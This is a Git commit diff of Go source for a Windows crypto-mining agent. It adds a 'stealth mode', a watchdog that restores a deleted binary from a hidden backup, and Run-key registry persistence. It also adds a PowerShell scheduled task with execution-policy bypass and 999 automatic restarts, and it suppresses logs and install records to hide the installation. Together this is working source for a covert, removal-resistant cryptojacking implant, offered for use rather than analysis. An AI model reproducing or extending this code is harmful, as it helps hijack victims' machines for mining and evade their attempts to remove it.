Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
66
agent/deploy/health.go
Normal file
66
agent/deploy/health.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
if err := maintainInstall(cfg); err != nil {
|
||||
log.Printf("[watchdog] maintenance: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
43
agent/deploy/identity.go
Normal file
43
agent/deploy/identity.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const agentIDFile = "agent.id"
|
||||
|
||||
// EnsureAgentID creates a fresh agent ID during a new embed/install.
|
||||
func EnsureAgentID(installDir string) (string, error) {
|
||||
if err := os.MkdirAll(installDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := uuid.New().String()
|
||||
if err := writeAgentID(installDir, id); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := strings.TrimSpace(string(data))
|
||||
if id == "" {
|
||||
return "", fmt.Errorf("agent id file is empty")
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
func writeAgentID(installDir, id string) error {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
return os.WriteFile(path, []byte(id+"\n"), 0600)
|
||||
}
|
||||
@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
||||
)), 0644)
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "service":
|
||||
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
if cfg.AutoStart {
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(workerName, exePath string) error {
|
||||
taskName := sanitizeName(workerName)
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := persistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
taskName,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func persistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func registryValueName(workerName string) string {
|
||||
name := sanitizeName(workerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerAgent"
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
|
||||
}
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
return configureAutoStart("default", exePath)
|
||||
return configureAutoStart(config.RuntimeConfig{}, exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
|
||||
Reference in New Issue
Block a user